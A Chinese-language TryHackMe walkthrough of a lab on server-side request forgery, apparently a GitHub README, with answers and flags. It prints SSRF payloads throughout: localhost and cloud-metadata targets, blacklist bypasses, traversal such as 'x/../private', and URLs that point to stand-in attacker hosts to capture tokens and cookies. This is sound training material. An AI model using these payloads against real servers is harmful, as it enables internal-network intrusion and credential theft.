AdityaBhatt3010/SSRF

# TryHackMe 演练 — SSRF (Server-Side Request Forgery) **实验室：** [https://tryhackme.com/room/ssrfqi](https://tryhackme.com/room/ssrfqi) 在这个房间里，我们将探索 **Server-Side Request Forgery (SSRF)** —— 这是一种攻击者诱骗服务器代表其发出 HTTP 请求的漏洞。由于请求源自 **服务器本身**，它可以访问攻击者通常无法访问的资源，例如 **内部 API、localhost 服务或云元数据端点**。 本演练涵盖了实验室中演示的概念，然后逐步介绍 **实际利用** 过程以获取最终的 flag。🧩  # 任务 1 — 什么是 SSRF？ 当 Web 应用程序从用户指定的位置获取资源而未对其进行正确验证时，就会发生 **SSRF (Server-Side Request Forgery)**。 攻击者不再请求预期的资源，而是操纵输入，使服务器请求 **内部或敏感** 的内容。 可以把它想象成说服服务器充当你请求的 **代理**。 ### SSRF 的类型 主要有两种类型： **常规 SSRF (Regular SSRF)** 来自内部资源的响应直接返回给攻击者。 **盲 SSRF (Blind SSRF)** 服务器仍然发出请求，但 **不向攻击者显示任何响应**。在这种情况下，攻击者依靠外部监控工具来确认请求已发生。 ### 可能的影响 成功的 SSRF 攻击可能导致： * 访问内部网络服务 * 检索敏感的组织数据 * 访问受限端点 * 泄露身份验证 token 或 API 密钥 * 深入渗透到内部基础设施 ### 答案 **SSRF 代表什么？** Server-Side Request Forgery **与常规 SSRF 相对，另一种类型是什么？** Blind  # 任务 2 — SSRF 示例 本节演示 SSRF 漏洞在真实应用程序中出现的不同方式。 每个示例都突出了不同程度的攻击者控制权。 ## 示例 1 — 完全 URL 控制 在第一个场景中，应用程序期望的请求如下： ``` https://website.thm/fetch?url=https://api.website.thm/data ``` 服务器检索 `url` 参数中指定的资源。 如果攻击者控制此参数，他们可以将其替换为他们想要的任何目的地： ``` http://localhost/admin ``` 因为请求是 **从服务器** 发出的，所以它可能访问外部用户无法到达的内部服务。  ## 示例 2 — 使用目录遍历控制路径 有时攻击者无法控制整个 URL —— 只能控制 **路径部分**。 示例请求： ``` /stock/check?path=/stock/item ``` 如果应用程序允许路径操作，攻击者可能会注入目录遍历序列。 Payload ``` ../api/user ``` `../` 告诉系统 **向上一级目录**。因此，最终请求变为： ``` /api/user ``` 此技术绕过了限制并允许访问不同的端点。  ## 示例 3 — 子域名注入 在这种情况下，攻击者控制请求的 **子域名部分**。 使用了一个聪明的技巧来防止服务器附加额外的路径。 Payload ``` attacker-domain.com&x= ``` `&x=` 将请求的剩余部分转换为查询参数而不是路径。这确保了攻击者保持对最终 URL 的控制。  ## 示例 4 — 捕获服务器请求 攻击者可以强制服务器向 **他们自己控制的服务器** 发出请求，而不是针对内部资源。 Payload ``` http://attacker-server.com ``` 当服务器连接到攻击者的服务器时，它可能会发送 **HTTP 标头**，包括： * authentication tokens * API keys * cookies 这些标头可能会泄露敏感凭据。  ## 示例挑战 任务是修改请求，以便服务器从以下位置检索数据： ``` https://server.website.thm/flag?id=9 ``` 一旦请求构造正确，内部服务器就会返回 flag。 **Flag** ``` THM{SSRF_MASTER} ```  # 任务 3 — 查找 SSRF 漏洞 当应用程序根据用户输入动态获取资源时，经常会出现 SSRF 漏洞。 常见的检查位置包括： ### 完整 URL 参数 ``` ?url=http://example.com ``` ### 隐藏表单输入 应用程序有时会在 HTML 表单中隐藏后端参数。 ### 主机名参数 ``` ?server=internal-api ``` ### 路径参数 ``` ?path=/api/data ``` 这些输入通常控制 **后端 HTTP 请求**，这使它们成为 SSRF 的主要候选者。 ### 识别易受攻击的 URL 给定选项： * [https://website.thm/index.php](https://website.thm/index.php) * [https://website.thm/list-products.php?categoryId=5325](https://website.thm/list-products.php?categoryId=5325) * [https://website.thm/fetch-file.php?fname=242533.pdf&srv=filestorage.cloud.thm&port=8001](https://website.thm/fetch-file.php?fname=242533.pdf&srv=filestorage.cloud.thm&port=8001) * [https://website.thm/buy-item.php?itemId=213&price=100&q=2](https://website.thm/buy-item.php?itemId=213&price=100&q=2) 第三个选项最可疑，因为它允许控制： * hostname * port * resource location 这表明应用程序可能从外部存储检索文件。 **答案** 3  # 任务 4 — SSRF 防护与绕过技术 具有安全意识的开发人员经常实施验证规则以防止 SSRF。 这些通常分为两类。 ## 黑名单 黑名单阻止特定的域名或 IP 地址，例如： * localhost * 127.0.0.1 然而，攻击者可以使用替代表示法绕过这些限制。 示例包括： ``` 127.1 ``` ``` 0.0.0.0 ``` ``` 2130706433 ``` 这些值仍然解析为 **localhost**，从而绕过简单的过滤。 ### 云元数据目标 在云环境中，攻击者经常针对： ``` 169.254.169.254 ``` 此端点包含 **云实例元数据**，这可能会暴露凭据或配置数据。 ## 白名单 白名单仅允许匹配特定模式的请求。 示例规则： ``` URL must start with https://website.thm ``` 攻击者可以通过构造恶意域名来绕过此限制，例如： ``` https://website.thm.attacker-domain.com ``` 由于字符串仍然以 `website.thm` 开头，因此验证通过。 ## 开放重定向绕过 另一个有用的技巧是滥用 **开放重定向端点**。 示例端点： ``` https://website.thm/link?url=https://tryhackme.com ``` 攻击者可以更改重定向目标： ``` https://website.thm/link?url=https://attacker.com ``` 服务器首先验证 URL，然后在内部重定向到攻击者控制的目标。 ### 答案 **用于绕过严格规则的方法** Open Redirect **敏感的云元数据 IP** 169.254.169.254 **仅允许特定输入的列表** Allow List **阻止特定输入的列表** Deny List  # 任务 5 — SSRF 实战利用 现在我们进入涉及 **Acme IT Support 网站** 的实战利用场景。 在侦察过程中，我们发现了两个有趣的端点： * `/private` * `/customers/new-account-page` `/private` 端点似乎受到限制，显示 **基于 IP 的访问错误**。 这表明，如果我们能让 **服务器本身** 请求此端点，我们可能会绕过该限制。 ## 步骤 1 — 创建账户 首先，我们创建一个客户账户并登录应用程序。 登录后，我们访问： ``` /customers/new-account-page ``` 此页面引入了一项新功能，允许用户选择头像。  ## 步骤 2 — 检查头像机制 查看页面源代码发现，头像图像路径存储在表单中。 此外，页面上显示的头像图像使用带有 **Base64 编码的 Data URI**。 这有力地表明服务器 **在将图像嵌入页面之前，会在内部获取并将其转换为 base64**。  ## 步骤 3 — 修改头像路径 使用浏览器开发者工具，我们检查其中一个头像单选按钮并修改其值。 Payload ``` private ``` 其想法是诱骗服务器检索受限的 `/private` 端点而不是图像。 但是，应用程序阻止了此请求，因为 **黑名单阻止了以 `/private` 开头的路径**。 ## 步骤 4 — 绕过黑名单 为了绕过过滤器，我们使用 **目录遍历技巧**。 Payload ``` x/../private ``` 解释： * `x/` 添加了一个无害的目录前缀 * `../` 向上移动一个目录 * 最终解析的路径变为 `/private` 由于过滤器仅检查路径是否 **以 `/private` 开头**，因此此 payload 绕过了该规则。 服务器现在成功获取了受限资源。  ## 步骤 5 — 检索 Flag 再次查看页面源代码显示，头像内容现在包含 **来自 `/private` 目录的 base64 编码数据**。 我们只需解码 base64 字符串即可显示 flag。 示例解码命令： ``` echo BASE64_DATA | base64 -d ``` 解码后，flag 出现。  # 最终 Flag ``` THM{YOU_WORKED_OUT_THE_SSRF} ```  # 结论 本实验演示了 SSRF 漏洞如何允许攻击者： * 访问内部端点 * 绕过基于 IP 的限制 * 检索敏感的服务器数据 * 与内部服务交互 如果未正确验证用户输入，即使是像 **图像获取或文件加载** 这样简单的功能也可能引入 SSRF 漏洞。 对于 **渗透测试人员和开发人员** 来说，在评估 Web 应用程序的安全漏洞时，了解这些模式至关重要。 ## ⭐ 关注我并建立联系 🔗 **GitHub:** [https://github.com/AdityaBhatt3010](https://github.com/AdityaBhatt3010)
💼 **LinkedIn:** [https://www.linkedin.com/in/adityabhatt3010/](https://www.linkedin.com/in/adityabhatt3010/)
✍️ **Medium:** [https://medium.com/@adityabhatt3010](https://medium.com/@adityabhatt3010)

标签：API安全, Base64编码, Blind SSRF, CISA项目, HTTP请求, IP 地址批量处理, JSON输出, Linux取证, SSRF, TryHackMe, Web安全, 云元数据攻击, 内网探测, 安全攻防, 安全教程, 服务端请求伪造, 漏洞分析, 网络安全, 蓝队分析, 路径探测, 防御绕过, 隐私保护, 靶场Writeup